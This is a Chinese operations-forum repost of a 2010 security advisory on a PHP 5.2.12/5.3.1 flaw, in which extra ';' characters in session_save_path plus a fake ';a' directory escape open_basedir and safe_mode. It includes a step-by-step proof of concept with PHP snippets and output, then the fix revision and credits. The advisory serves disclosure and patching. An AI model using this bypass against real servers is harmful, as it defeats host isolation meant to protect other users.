设为首页 收藏本站
查看: 929|回复: 0

[经验分享] PHP 5.2.12 / 5.3.1 safe_mode / open_basedir Bypass

[复制链接]

尚未签到

发表于 2019-1-27 10:45:53 | 显示全部楼层 |阅读模式
[ PHP 5.2.12/5.3.1 session.save_path safe_mode and open_basedir bypass ]  Credit: Grzegorz Stachowiak
  Provided by: SecurityReason.com
  Date:
  - Written: 31.01.2010
  - Public:  11.02.2010
  SecurityRisk: Medium
  Affected Software:
  PHP 5.2.12
  PHP 5.3.1
  Advisory URL: http://securityreason.com/achievement_securityalert/82
  Vendor: http://www.php.net
  --- 0.Description ---
  PHP is an HTML-embedded scripting language. Much of its syntax is
  borrowed from C, Java and Perl with a couple of unique PHP-specific
  features thrown in. The goal of the language is to allow web developers
  to write dynamically generated pages quickly.

  A visitor accessing your web site is assigned a unique>
  session>  propagated in the URL.
  session.save_path defines the argument which is passed to the save
  handler. If you choose the default files handler, this is the path where
  the files are created. Defaults to /tmp. See also session_save_path().
  There is an optional N argument to this directive that determines the
  number of directory levels your session files will be spread around in.
  For example, setting to '5;/tmp' may end up creating a session file and
  location like /tmp/4/b/1/e/3/sess_4b1e384ad74619bd212e236e52a5a174If .
  In order to use N you must create all of these directories before use. A
  small shell script exists in ext/session to do this, it's called
  mod_files.sh. Also note that if N is used and greater than 0 then
  automatic garbage collection will not be performed, see a copy of
  php.ini for further information. Also, if you use N, be sure to surround
  session.save_path in "quotes" because the separator (;) is also used for
  comments in php.ini.
  ---- 1. session.save_path safe mode and open basedir bypass ---
  session.save_path can be set via ini_set(), session_save_path()
  functions. In session.save_path there should be path where you will save
  yours tmp files. But syntax for session.save_path is:
  [/PATH]
  OR
  [N;/PATH]
  N - can be also a string (N should be numeric).
  EXAMPLES:
  1. session_save_path("/DIR/WHERE/YOU/HAVE/ACCESS")
  2. session_save_path("5;/DIR/WHERE/YOU/HAVE/ACCESS")
  The main problem came when we use multiple ';' character and when we
  will create fake directory structure to reduce '../'.
  Proof of Concept:
  0. Create directories:
  /humhum
  and
  /byp
  1. set open_basedir = /byp
  2. create test.php
  {
  session_save_path("/humhum");
  session_start();
  }
  3. php test.php
  Warning: session_save_path(): open_basedir restriction in effect.
  File(/humhum) is not within the allowed path(s): (/byp) in /byp/test.php
  on line 3
  4. subdir.php
  {
  mkdir("puf");
  mkdir(";a");
  }
  5. php subdir.php
  6. cd puf
  7. create byp.php
  {
  session_save_path(";;/byp/;a/../../humhum");
  session_start();
  }
  8. php byp.php
  9. ls /humhum
  sess_d905eb71c9ad65ce2a845cdb0fed3016
  The main problem is located in session.c. PHP doesn't check, that we
  have used next ';' after first. Creating fake directory structure
  mkdir ';a'
  mkdir '../;a'
  we can reduce directory level using '../' .
  --- 2. Fix ---
  Revision 294272
  http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/session/session.c?view=log
  http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/session/session.c?view=log
  --- 3. Credit ---
  Founded by: Grzegorz Stachowiak
  Written by: Maksymilian Arciemowicz
  Fixed by  : Ilia Alshanetsky
  --- 4. Contact ---
  Email:
  - Grzegorz.Stachowiak
  stachowiak [a,t} analogicode (d_0t} pl
  - Maksymilian Arciemowicz
  cxib {a.t] securityreason [d0_t} com
  GPG:
  http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
  http://securityreason.com/
  http://securityreason.com/exploit_alert/ - Exploit Database
  http://securityreason.com/security_alert/ - Vulnerability Database


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-668164-1-1.html 上篇帖子: AIX: Cannot open or remove a file containing a running program 下篇帖子: HTML5外包团队:Open API文档资源
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表